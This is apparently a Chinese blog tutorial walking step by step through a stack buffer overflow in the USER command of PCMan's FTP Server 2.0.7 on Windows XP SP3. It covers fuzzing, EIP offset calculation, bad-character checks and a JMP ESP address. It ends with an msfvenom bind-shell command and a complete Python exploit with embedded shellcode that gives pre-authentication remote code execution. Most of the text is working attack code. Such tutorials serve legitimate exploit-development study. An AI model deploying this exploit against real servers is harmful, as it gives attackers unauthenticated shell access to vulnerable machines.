本文章,我们将研究如何在Win32系统上利用缓冲区漏洞,完成我们的Windows漏洞利用开发,从最基础的开发开始,特别说明本篇文章中暂时不涉及DEP和ALSR等漏洞利用让技术,相关技术以后文章在专门介绍了解此类。本篇主要是给各位跟我一样喜欢漏洞利用开发的同(样爱)好,做一个开篇引导,对于某些同好可能是ta进入这个领域的第一个Exploit Dev

准备

WindowsXP—Sp3(目标机)

kali-linux(攻击机)

PCMan’s FTP Server 2.0.7

ImmunityDebugger 1.85(调试工具)—x64、OD等动态调试器都可以

需要对了解X86汇编

对python有一定了解

缓冲区溢出基础

缓冲区定义之类理论知识不在本文套路范围,更多介绍的是漏洞利用开发实际的过程和步骤,简单来说,当开发人员未对用户数据执行适当的边界检查时,就会发现缓冲区溢出的风险。因此,如果用户在输入超过开发人员的定义的缓冲区的数据,它将覆盖诸如EIP之类的关键寄存器。EIP通常都是程序下一步执行指令的

寄存器,因此当它被用户输入的垃圾数据覆盖的时,通常数据将会崩溃,因为它会跳到某个无效位置并尝试执行无效的指令。漏洞利用开发需要定制字符串发送到程序,以使我们覆盖到我们想要覆盖的EIP,使程序跳转到我们可以控制的位置,以便执行我们自己的Shellcode。如下图所示,图例完整展示了缓冲区发送的情况。缓冲区此类漏洞的产生,仅因为完全信任用户输入(例如:名称、命令信息等),而没有去检查他们是否符合要求。

发现缓冲区溢出

这是一个很现实的问题-“如何找出缓冲区漏洞?”。对于这种问题肯定很多人都说模糊测试(Fuzzing),既向我们要测试的程序发送长度和内容都不同的字符串。如果程序正确处理我们发送给他的字符串,则测试另外一个命令,如果程序崩溃,我们将分析崩溃原因以确定是否可以被利用。现在我们编写我们自己的模糊测试脚本来测试目标程序输入,看看是否可以在程序找到相关漏洞并且利用。在安装程序如遇到任何防火墙拦截,请将放行,方便我们正常访问。

在连接FTP一般遇到第一个命令就是“USER”,后面再跟“PASS”,然后进行登录。那么因此我们也可以先对其进行测试,如果发现漏洞。由于他在身份验证之前,那么它应该是一个很强大的漏洞利用。因为无需凭证即可完成。

下面是一个很简单模糊测试python脚本

 

#!/usr/bin/python

import socket

import sys

evil = "A"*1000

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))

s.recv(1024)

s.send('USER ' + evil + '\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

 

s.send('QUIT\r\n')

s.close

 

当程序运行,我们就FTP服务器已经崩溃,而且Offset覆盖为‘41414141’,这是一个好兆头,说明程序可能会被我们利用。

在目标程序打开的情况下使用ImmunityDebugger载入程序,选择File——>attach,如图所示加载PCmanFTP

熟悉逆向的朋友看到此界面肯定很熟悉,因为ImmunityDebugger基于OllyDbg基础上进行的开发。

屏幕左上—汇编窗口:显示程序目前正在执行的汇编命令

屏幕右上—寄存器窗口:用于暂时存储数据,分析程序是要经常留意数值变化,会给漏洞利用和逆向带来很大帮助

屏幕左下—内存数据窗口:用于显示当前程序内存数据

屏幕右下—堆栈窗口:用于显示当前程序堆栈情况

我们再次运行我们的Fuzz脚本,等待程序崩溃,程序一旦崩溃。ImmunityDebugger即会截停,并且寄存器相关数据也会停止在崩溃之前,详情如图。仔细观察,如前面所示。我们寄存器EIP值已经覆盖为‘41414141’,A的16进制为‘A’。当前说明我们Fuzz脚本发送的字符串,已经覆盖到EIP。这以为着程序因为读取到0x41414141地址。因为是无效地址,所以造成崩溃。这意味我们可以控制EIP了!因为我们需要精确控制覆盖EIP里面的4个字节,所以我们需要了解到底是3000个A中那部分覆盖到此处。在Metasploit中pattern_create可以很好帮助我们解决此问题,因为他会生成一串唯一的字符串,通过该字符串匹配到地址可以使用它的姐妹工具pattern_offset来精确寻找那4个字节覆盖EIP。当然本文这里给出另外一个更加方便的方法,使用漏洞利用开发神器—mona.py插件,此插件自寻搜索安装。本文不再阐述相关安装过程,因为会占用各位大量阅读时间。

早期pattern_create和pattern_offset工具使用需要到metasploit目录中,使用不太方便。现在新版本kali支持命令行执行。

相关命令如下:msf-pattern_create、msf-pattern_offset

使用msf-pattern_create -l 3000shen生成与POC相等数量的字符串,并且将编写运行。

代码如下:

#!/usr/bin/python

import socket

import sys

#evil = "A"*3000

 

evil = ("Aa0Aa1Aa2Aa3.........v7Dv8Dv9")

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))

s.recv(1024)

s.send('USER ' + evil + '\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

s.send('QUIT\r\n')

s.close

 

再次运行我们的Fuzz脚本,程序再次崩溃,调试器在崩溃前暂停,并且我们查看最新的EIP值,此值变成‘0x6F43366F’。

控制EIP

此时按照常规计算此地址偏移,我们将使用姐妹工具msf-pattern_offset进行计算,这里给大家提供一个更加方便的Mona。如图所示,计算出偏移1999(偏移值这个不同系统数值不同)

当然我们运行姐妹工具,msf-pattern_offset -q 6F43366F.

这里将两种方法列出来,取决于各位自行选择。

现在我们已经知道了EIP被覆盖前会存在1999字节。为了方便后面测试,我们需要修改利用程序以确定我们精确覆盖EIP。当然我们还需要考虑shellcode 是否存的下,因此我们需要在数据末尾填充C*(3000-1999-4)

代码如下:

#!/usr/bin/python

import socket

import sys

#evil = "A"*3000

 

evil = "A" * 1999 + "B" * 4 + "C" * (3000-1999-4)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))

s.recv(1024)

s.send('USER ' + evil + '\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

 

s.send('QUIT\r\n')

s.close

再次重启我们的程序,并且发送我们修改的利用程序,,如图所示EIP已经精准被‘42424242’覆盖,这是'B'的ASCII值。现在,我们可以精准控制EIP值。这里漏洞利用,我们基本成功了一半。

寻找shellcode空间

通过我们控制EIP,可以查找可能的shellcode空间。在某些漏洞利用中,这可能变的非常复杂,但这是一个很简单示例。一个很好技巧就是看EIP指向的地址,在这种情况右下窗口栈地址‘0x0012EDB8’,如下所示。具体到栈底距离+3E0转换为996字节,这个是足够放下shellcode。因为一般正常shellcode大小差不多355~550字节左右。

显然,这里它指向一堆'43',43是C的ASCII值,换句话说B覆盖到EIP之后立刻跳转C。在实际堆栈中,我们可以清楚看到4个B和我们之前填充的A值。如果我们需要用shellcode代替C,那就必须要运行起来,这里可以通过某些方式指示ESP跳转到ESP寄存器位置,那么shellcode就运行起来了。

坏字节

我们最终目的想执行shellcode,那么我们如何知道我们可以使用那些命令,那么命令有效以及那些命令会使程序解释成其他内容?典型的示例就空字节0x00,这几乎是普遍坏字节。我们将漏洞利用作为字符串发送的服务器,如果类似0x00存在shellcode中,将导致shellcode运行不了,漏洞利用失败。可能还要一些其他因素以不同方式影响程序,因此我们通过发送所有有效字符串来识别他们。如果字符串中特定的字符串被阶段或者产生偏移,我们将知道此字符对我们漏洞利用受到影响。这里我们生成以下内容配合先前利用程序一起发送出去。Mona支持生成坏字节相关命令如下!mona bytearray -cpb '\x00'

这里我们生成排除0x00空字节的字符串,此字符串包含所有会用到的字符串。Mona生成坏字节在调试器根目录bytearry.TXT文件中,详情如图所示。

合并在代码中如下:

#!/usr/bin/python

import socket

import sys

#evil = "A"*3000

 

badchar = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"

"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"

"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"

"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"

"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

 

evil = evil = "A" * 1999 + badchar + "C" * (3000-1999-len(badchar))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))

s.recv(1024)

s.send('USER ' + evil + '\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

 

s.send('QUIT\r\n')

s.close

正如图所示。从01到FF所有字符都在这里,知道0A变成00乱序。显然0x0A对我们利用产生了影响。我们将其删除,并使用下面的代码重新发送利用代码

更新代码发现新的坏字节0x0d,修改代码重新发送利用

再次更新代码,并在删除0x0d情况下发送(为了简介,这里就不贴代码了),如图所示。可以清楚看到其他字符一直没有变化,一直到0xFF。因此我们一共识别出三个坏字节0x00、0x0a、0x0d。这里我们可以很容易理解为什么对我们产生影响。

JMP ESP

这里我们为什么不直接告诉EIP转到我们需要的地址‘0x0012EDB8’?因为这个有几个原因,但是最大原因是,此值会因为计算机不同而异,你现在可以在自己计算机上使用该漏洞利用程序,但是我们希望它可以任何地方和位置。因此,我们需要考虑利用程序中自包含的DLL库,这些DLL与FTP程序相反,这些DLL文件在内存映射的地址始终相同。如果我们可以在具有‘JMP ESP’指令的DLL中找到对应内存地址,则可以将EIP指向此地址,从而使跳入C的缓冲区。

这里我们需要检查该程序加载的DLL文件,并且找到具备JMP ESP的DLL。这种情况,我们可以使用Mona插件!mona jmp -r esp,我们最终选择还是系统的DLL。原因是由于如下图所示,程序自带DLL包含00,同时由于我们坏字节包含00,所以这里不建议使用此地址,选择跳转地址建议确保不包含坏字节,同时对于系统DLL尽可能选择user32.Dll或shell32.dll,这样会高我们的漏洞利用成功率。

程序自带DLL包含坏字节

 

获取到地址0x77F8B227,通过调试器跳入地址查看地址情况,该地址非常合适,因为没有包含已知坏字节。这里我们像往常一样重启程序。重新发起利用。不过在此之前我们需要做一点点事情,跳转到我们选择的地址。按F2在该地址设置断点。让调试器暂停在此地址。然后我们发起漏洞利用程序,此时我们调试器暂定在我们选择的地址上。

在这种情况,我们看到调试器暂停在我们断点处。按F7通过单步进入下一条指令,现在他跳入到很长‘INC EBX’字符串。这恰好就是十六进制43的值。换句话说,我们成功进入到C缓冲区。

编写Shellcode

现在我们识别出了坏字节,这里需要说明我们绝不能让shellcode包含坏字节。为了帮助我们生成Shellcode,因此不需要自己过多进行编码,我们可以使用metasploit的msfvenom工具生成相对应的playload,这里我使用本地开启端口,直连方式,相关命令如下:

msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -f python -v shellcode -b "\x00\x0a\x0d"

最后EXP编写

我们在最后跳转地址加入若干NOP字符,NOP代表跳过,意味着什么都不需要操作,并且指示CPI跳过此指令。有时候可以通过在shellcode前填充NOP增加漏洞利用程序和shellcode可靠性。这里我添加50个NOP,以提高可靠性。最终代码如下

#!/usr/bin/python

import socket

import sys

#evil = "A"*3000

 

#77F8B227 jmp

shellcode = b""

shellcode += b"\xbe\xb8\xa5\xbb\xf7\xdd\xc7\xd9\x74\x24\xf4"

shellcode += b"\x58\x33\xc9\xb1\x53\x83\xc0\x04\x31\x70\x0e"

shellcode += b"\x03\xc8\xab\x59\x02\xd4\x5c\x1f\xed\x24\x9d"

shellcode += b"\x40\x67\xc1\xac\x40\x13\x82\x9f\x70\x57\xc6"

shellcode += b"\x13\xfa\x35\xf2\xa0\x8e\x91\xf5\x01\x24\xc4"

shellcode += b"\x38\x91\x15\x34\x5b\x11\x64\x69\xbb\x28\xa7"

shellcode += b"\x7c\xba\x6d\xda\x8d\xee\x26\x90\x20\x1e\x42"

shellcode += b"\xec\xf8\x95\x18\xe0\x78\x4a\xe8\x03\xa8\xdd"

shellcode += b"\x62\x5a\x6a\xdc\xa7\xd6\x23\xc6\xa4\xd3\xfa"

shellcode += b"\x7d\x1e\xaf\xfc\x57\x6e\x50\x52\x96\x5e\xa3"

shellcode += b"\xaa\xdf\x59\x5c\xd9\x29\x9a\xe1\xda\xee\xe0"

shellcode += b"\x3d\x6e\xf4\x43\xb5\xc8\xd0\x72\x1a\x8e\x93"

shellcode += b"\x79\xd7\xc4\xfb\x9d\xe6\x09\x70\x99\x63\xac"

shellcode += b"\x56\x2b\x37\x8b\x72\x77\xe3\xb2\x23\xdd\x42"

shellcode += b"\xca\x33\xbe\x3b\x6e\x38\x53\x2f\x03\x63\x3c"

shellcode += b"\x9c\x2e\x9b\xbc\x8a\x39\xe8\x8e\x15\x92\x66"

shellcode += b"\xa3\xde\x3c\x71\xc4\xf4\xf9\xed\x3b\xf7\xf9"

shellcode += b"\x24\xf8\xa3\xa9\x5e\x29\xcc\x21\x9e\xd6\x19"

shellcode += b"\xdf\x96\x71\xf2\xc2\x5b\xc1\xa2\x42\xf3\xaa"

shellcode += b"\xa8\x4c\x2c\xca\xd2\x86\x45\x63\x2f\x29\x78"

shellcode += b"\x28\xa6\xcf\x10\xc0\xee\x58\x8c\x22\xd5\x50"

shellcode += b"\x2b\x5c\x3f\xc9\xdb\x15\x29\xce\xe4\xa5\x7f"

shellcode += b"\x78\x72\x2e\x6c\xbc\x63\x31\xb9\x94\xf4\xa6"

shellcode += b"\x37\x75\xb7\x57\x47\x5c\x2f\xfb\xda\x3b\xaf"

shellcode += b"\x72\xc7\x93\xf8\xd3\x39\xea\x6c\xce\x60\x44"

shellcode += b"\x92\x13\xf4\xaf\x16\xc8\xc5\x2e\x97\x9d\x72"

shellcode += b"\x15\x87\x5b\x7a\x11\xf3\x33\x2d\xcf\xad\xf5"

shellcode += b"\x87\xa1\x07\xac\x74\x68\xcf\x29\xb7\xab\x89"

shellcode += b"\x35\x92\x5d\x75\x87\x4b\x18\x8a\x28\x1c\xac"

shellcode += b"\xf3\x54\xbc\x53\x2e\xdd\xdc\xb1\xfa\x28\x75"

shellcode += b"\x6c\x6f\x91\x18\x8f\x5a\xd6\x24\x0c\x6e\xa7"

shellcode += b"\xd2\x0c\x1b\xa2\x9f\x8a\xf0\xde\xb0\x7e\xf6"

shellcode += b"\x4d\xb0\xaa"

 

evil = evil = "A" * 1999 + "\x27\xB2\xF8\x77" + "\x90" * 50 + shellcode + "\x90" * 10

 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))

s.recv(1024)

s.send('USER ' + evil + '\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

 

s.send('QUIT\r\n')

s.close

现在是激动人心的时刻,运行我们的exploit,这里如果在渗透测试过程中可以考虑设置443或者其他端口,甚至反弹shell。

这里,在指点各位最后一下。这里就不在需要调试器了,开启目标程序。

准备好Net Cat连接,打完收工Over!

写到最后,原本以为1~2个小时搞定的文章,真写起来各种查漏补缺。相当于自己又重新学习一边。这里说下关于目标程序Pcman FTP还有其他很多类似缓冲区漏洞,大家有兴趣可以自己挖掘。

如果大家对此有兴趣同时我也有时间将更新其他相关漏洞利用相关教程。欢迎大家一起交流^_^!